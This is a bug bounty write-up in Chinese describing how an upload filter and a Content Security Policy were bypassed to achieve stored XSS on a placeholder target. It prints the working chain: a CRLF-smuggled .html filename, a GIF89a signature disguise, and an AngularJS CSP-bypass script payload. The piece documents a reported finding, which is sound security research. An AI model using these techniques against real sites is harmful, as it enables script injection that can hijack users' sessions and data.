图片上传绕过与存储型XSS漏洞利用技术详解

My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.

在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。


🖊️Writeup

在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。

Profile image upload

个人资料图片上传功能依赖于以下 POST 端点:

bash 复制代码
POST /api/images/

上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png

响应如下:

json 复制代码
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}

起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS。

我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。

使用的载荷如下:

ini 复制代码
filename="name.html%0d%0a.png"
Content-Type: text/html

为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:

css 复制代码
GIF89a
<html><body>ANY</body></html>

这样,该文件被成功上传并呈现为 HTML 页面,而非图片。

CSP Restriction

当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:

arduino 复制代码
CSP script-src 'self' https://cdn.jsdelivr.net

这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。

为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/

Final Payload (Stored XSS)

html 复制代码
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
  <img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>

上传文件后,我直接访问了: https://app.target.com/files/images/name.html

此时,我成功做到了:

  • 绕过图片上传限制
  • 绕过 CSP
  • 实现存储型 XSS

✉️ Get in Touch

如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:

  • LinkedIn: linkedin.com/in/cyxbugs/
  • Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq
相关推荐
张彦峰ZYF4 小时前
越过边界之前:Reward Seeker 实验如何改写智能体安全的时间逻辑
人工智能·ai agent·anthropic·智能体安全·reward seeker·“控制评价过程”泛化跨领域策略·envbom
ZhengEnCi5 小时前
AI 真的会替代程序员吗:从 55.8% 提速到 19% 变慢的八组关键数据拆解
aigc·ai编程
又过二十5 小时前
Qwen-Image2.1游戏素材工坊:把整套素材拼成"模拟游戏画面"逐张体检 (二)
aigc·comfyui·game·qwen-image·游戏素材
拓恒技术5 小时前
无人机巡检AI算法的工程化落地:从需求到交付的5个核心环节
人工智能·算法·无人机
罗西的思考7 小时前
AI 时代的 “房谋杜断”:如何培养能力、品味与判断力
人工智能·算法·机器学习
字节跳动视频云技术团队8 小时前
720P 直升 8K,解密 2026 抖音美好奇妙夜巨幕超分黑科技
人工智能·音视频开发
打工仔折腾 AI8 小时前
在 Ubuntu ARM64 部署 Q1 V3.0 MuJoCo 模型:加载、单步推理与执行器响应解析
linux·运维·人工智能·python·深度学习·ubuntu·性能优化
逐米时代8 小时前
从试点验证到协同深化:制造业AI转型三年路线图设计方法
人工智能
GlobalInfo8 小时前
全球及中国风电叶片检测机器人行业研究报告(2026版):市场现状、行业前景与占有率分析
运维·网络·人工智能·机器人
stormzhangV9 小时前
AI 越强,失业越严重
人工智能·aigc